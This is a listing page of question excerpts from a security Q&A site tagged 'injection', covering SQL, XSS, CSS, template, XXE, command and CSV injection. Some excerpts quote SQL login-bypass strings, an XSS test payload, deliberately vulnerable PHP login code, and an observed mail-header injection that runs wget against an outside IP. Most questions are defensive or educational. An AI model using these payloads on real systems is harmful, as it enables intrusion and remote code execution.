Questions tagged [injection]

inserting malicious content, usually code (like SQL, Javascript) into a vulnerable application. Is used only if there is no more specific injection tag available (see tag wiki)

Filter by
Sorted by
Tagged with
0
votes
0answers
58 views

Who caused errors in book selling sites by having code in book title [on hold]

I heard this story about two years ago. Some hacker/digital artist collective who had a bit of code in the title of their book, so that that code was executed by the book store websites. Also they had ...
-1
votes
0answers
43 views

Exploiting SQL-Injection Vulnerability in Oxid eShop CE 6.0.2 with SQLMAP [closed]

I installed Oxid eShop CE 6.0.2 on my local webserver to analyze the last SQL-injection vulnerability in this webapp. I found out that it is possible to inject SQL via the sorting parameter (GET). So ...
0
votes
0answers
72 views

CSS injection: Extract CSRF-token by using inline-css injection

Is it possible to extract CSRF-token by using inline-CSS injection (inside style attribute)? (It seems to be impossible, because it is not possible to define CSS classes inside attributes.) <p ...
0
votes
0answers
48 views

Can server side template injection lead to RCE or other severe consquences in Django?

During a penetration test, I found server side template injection in a Django application that sends templated emails. As far as I can tell, apart from some sensitive information disclosure (thanks to ...
1
vote
1answer
46 views

Why Would A Web Server Allow Loading XML External Entities?

I've been reading up on XXE Injection, and so far every example I've seen has involved a webserver voluntarily loading xml external entities (as below). <?php libxml_disable_entity_loader (false);...
0
votes
0answers
19 views

Executable Code in Mail Headers [duplicate]

Recently I noticed someone delivering email to my server root account with headers like this: X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20199.204.214.40x2fsbzx2f45.79.163.30x22}}@host....
0
votes
0answers
39 views

Codeigniter Site hacked [duplicate]

I developed an application using CodeIgniter and used some libraries from the composer. So my Vendor directory was in the root directory of this application. And attacker attacked phpunit/scr/php/...
0
votes
2answers
62 views

Security implications of injection in api http request from frontend?

In my frontend I have something like this: article = httpLibrary.get('api.mysite.com/articles/' + articleId); Where articleId is taken from a URL query parameter (it's injectable). Is this ...
-1
votes
1answer
180 views

SQLI Login Bypass Cheat-sheets Question [duplicate]

Assuming you are authorized to pentest a live website that's login page is vulnerable to SQL Injection. Lets say your backpack has only 2 crafted queries by you which is admin' -- and '=' 'OR'. Your ...
0
votes
1answer
100 views

Exploit include_once in PHP Code

For a project we were asked to find and exploit the "Remote Code Injection" vulnerability of a web application. After hours of search (we have the source code of the web application as it is running ...
0
votes
0answers
133 views

'=' 'OR' SQL Injection Login Bypass Question [duplicate]

I was testing SQLI Cheatsheets on a vulnerable test site. This particular injection '=' 'OR' seems to work on the login page. Why does that injection work? What's the back-end SQL code, if I could ...
1
vote
0answers
124 views

Infected usb drives in mice

I bought a mouse on aliexpress. It was reasonably cheap. It works well enough to be on par with a mouse I can buy here for 4 times the price. I know, this is a well known business model, and those ...
9
votes
1answer
2k views

Sucuri detects malware on wordpress but I can't find the malicious code

Yesterday I got a report asking us to check some wordpress website because the person's antivirus blocked said web. I ran the Sucuri Site Check and it indeed detects malware: "Known javascript ...
1
vote
1answer
116 views

Presistent XSS Filter Bypass Question

I was testing out a stored XSS on a test site I made which is vulnerable so the problem is when I tried executing the usual "><script>alert('XSS')</script> It did not work instead. But ...
1
vote
2answers
223 views

Is it possbile to conduct http header injection attack with a web site or web app uses https?

If a web site or web application is running with https, is it possible to conduct http header attacks like http header injections and so on?
2
votes
1answer
505 views

' OR 1=1/* SQL Injection Login Bypass Question

Recently I came across a SQL Injection Cheat Sheet which contains this particular cheat sheet which I am confused by ' or 1=1/* Assuming I am testing it on this server-side code below. SELECT * FROM ...
0
votes
1answer
188 views

SQL injection authentication bypass

I am testing a SQLi login bypass on the PHP code below: if(isset($_POST["login"]) && isset($_POST["password"])) { $sql="select * from users where login='{$_POST["login"]}' and password='{$...
0
votes
1answer
69 views

What attacking vectors does “background-image” have

I have a web application that loads an image by URL and shows it with the style-tag (background-image). Users can link their image. Would it be possible for a bad actor to fake an image and inject ...
0
votes
0answers
30 views

is xss possible without these chars? [duplicate]

I'm wondering if xss is possible without these chars disallowed/filtered text: < > ! @ # $ % ^ & * : ? = ( ) I'm able to break out of a style attribute of an element by introducing an ending ...
0
votes
2answers
222 views

Unable to inject cookies

As part of an exercise, I need to sniff cookies from a login page and inject them in the same login page. If the cookie injection is successful the user must be login without entering the user name ...
1
vote
1answer
148 views

Flask/Jinja2 SSTI to get RCE. <type 'file'> not in object subclasses

I'm trying to get RCE in a simple Flask web app I developed, which is vulnerable to server side template injection (SSTI). RCE is usually obtained by uploading the reverse shell script on the target, ...
1
vote
0answers
101 views

Is there any NFC message injection?

Are there any NDEF message smuggling attacks (like http smuggling attack)? When I say it, I mean that I have a full control on the NFC packet. Is it possible to inject another packet into a NFC ...
3
votes
1answer
147 views

Find security weaknesses in this website (exam question)

I am currently studying for a computer security exam and I am stuck on the following question from a past exam paper 1c <form action=”message.php” method=”get”> 2c <p>Message: <input ...
0
votes
0answers
87 views

Shell injection using only [alphanumeric, dashes, colon, period]

I found an html form with a single input field, where the inputted text is used as the argument (or rather just the last part) of a ping command on the server. When submitting the form, the following ...
0
votes
1answer
131 views

Can ClamAV detect CSV Injection?

I'm allowing users to upload CSV files. Other users can download these files. I'm aware that CSV could be an attack vector. Would a ClamAV (or other AV) scan offer protection against such a file? ...
1
vote
1answer
258 views

Beef+ bettercap injection failure?

I am trying to inject beef's hook.js in browser on another pc on my local network. After starting beef and login to the UI I started bettercap in terminal and executed the following command: sudo ...
0
votes
0answers
165 views

Error based SQL Injection Oracle

I have this valid GET request: GET /restrict/menuApc.do?ID_ASSISTITO=ciao&MVPG=ApcAssistitiRicerca&s_TIPO_ASSISTITO=&s_ASSISTITO=giovanni&s_TIPO_SOGGETTO= HTTP/1.1 Host: test:8080 ...
0
votes
1answer
119 views

MD5 Checksum and DLL injection

I would like to know if it is possible that a file checksum or MD5 Checksum is an option for identifying malicious embedded code. As an example, I have a development environment and I want to prevent ...
0
votes
0answers
19 views

My website is hacked and injected [duplicate]

Someone hacked into my website, injected the source code and somehow is able to delete application files remotely What are the best practices to better secure the website, its an e-commerce website ...
1
vote
2answers
48 views

Win10 Group Policy - Allow specific programs to run: Protection from malware?

In Windows 10 group policy editor you can restrict and allow only certain programs to run. I'm wondering if that protects against malware? I can think of following cases: 1) If you start a program ...
0
votes
0answers
118 views

CSS Injection without colon

I'm looking for a way to create a CSS injection proof-of-concept. I can insert the following and it gets reflected in the browser: <style>body{background-color:red}</style> The only ...
2
votes
1answer
533 views

PHP assert code injection

Not sure if in this case if it is possible to inject malicious code in $entityId and if it will be processed by php. $entityId = $_GET["name"]; public function getMetaData($entityId) { assert('...
1
vote
1answer
205 views

Router Code Injection

I read some articles about hacks that have hacked routers which inject ads on websites a visitor visits that replace adsense ads Is it really possible? How can a router hack inject javascript code ...
1
vote
1answer
739 views

Command Injection when all dangerous characters are escaped?

OWASP recommends as defense against command injection to escape all special characters (if a whitelist approach cannot be used). I wrote a quick PHP script doing this: $input = $_GET['x']; $...
2
votes
1answer
144 views

Can Arbitrary Code Execution be done using CSS Injection?

As part of our class project, we are studying the attacks that could be done using CSS Injection. In our threat model, attacker can manipulate any CSS file on the server. If attacker replaces original ...
1
vote
2answers
177 views

Are log files executable files?

As a beginner in security research project, I came across log injection and my question is itself about log injection files. Are log injection files executable, if no, how do they execute/run ...
3
votes
1answer
278 views

Injected malicious code in temporary files

It just came to my mind that few years ago many iOS applications where infected by XcodeGhost (notably WeChat). This made me think about few possible scenarios: Malicious code injected in object ...
2
votes
1answer
107 views

DAST Output in Burp and Understanding It

I have recently upgraded to the newest version of Burp which includes the new DAST tools. I am receiving reports from the tool that it has found DOM-Based Javascript Injection, but I am having ...
1
vote
1answer
156 views

Is it safe to concatenate non-input session variables into a SQL string?

I have a php application where the function "makeSessionVar" creates a session variable from application defined data, then concatenates it into the SQL string. function makeSessionVar($A,$B){ // (&...
1
vote
2answers
864 views

Is there a secure way to run a bat file from a Java program without command injection vulnerability?

Since using Runtime.exec() and ProcessBuilder trigger command injection vulnerability in static analyzing tools, is there any other recommended secure way to execute a bat file from a Java program? ...
0
votes
1answer
91 views

What type of exploit is an attacker performing by executing the code snippet?

I just started on secure coding.Does anyone know what type of exploit is an attacker performing by executing the code snippet?
1
vote
1answer
384 views

SMTP Service STARTTLS Plaintext Command Injection

We are getting this vulnerability on SUSE Linux Enterprise Server 11. This vulnerability is getting triggered on port 587 for postfix. I have checked several links but I am unable to get any relevant ...
1
vote
1answer
261 views

Change of DNS in MX records in a Wordpress site

I maintain qtechtheory.org, the website of my research group, which runs Wordpress and is hosted by BlueHost. Though we've been hit with PHP injection for several weeks, I've kept the site live since ...
1
vote
1answer
338 views

How to protect against skimmer attack like in the BA data breach

British Airways has suffered a big data breach allegedly because of a skimmer attack, whereby malicious javascript code was injected into their site. See https://www.bbc.co.uk/news/technology-...
2
votes
1answer
55 views

Why/how is browser inserting inline SVGs at end of body?

Chrome is inserting the following SVG images at the bottom of pages: <span style="width: 24px; height: 24px; background: url(&quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/...
0
votes
1answer
47 views

Benefit of Parameter Map size validation in web application controller

I have a web application (Spring MVC) and have input data validation for every parameter in the controller. What is NOT present is checking for accepted Parameter Map Size. i.e When the controller ...
1
vote
1answer
351 views

How this Unique SQL injection works?

I found a challenge which was vulnerable to SQL injection and it was very very pretty hard to find So, How this unique SQL works? I found this on login form where when I send user=\&pass=||1# as ...
3
votes
2answers
268 views

Privileges needed to perform process injections

I am reading about process injection techniques on Windows machines (originally came to this from privilege escalation research). Although I used Windows for the majority of my life, I feel like I ...
0
votes
2answers
631 views

Clicking web page taking me to adware/malware!

Recently I have observed strange behaviour. At certain times, on certain web pages, if I click anywhere in the page a tab/popup opens with ads. First I thought some Chrome extension might be doing it....
0
votes
1answer
3k views

Preventing dangerous CSV Formula Injection

I have a form that takes user input and records them in a table. My form sanitizes user input by deleting certain characters (mentioned below). I can export a CSV of the table, which outputs the cells ...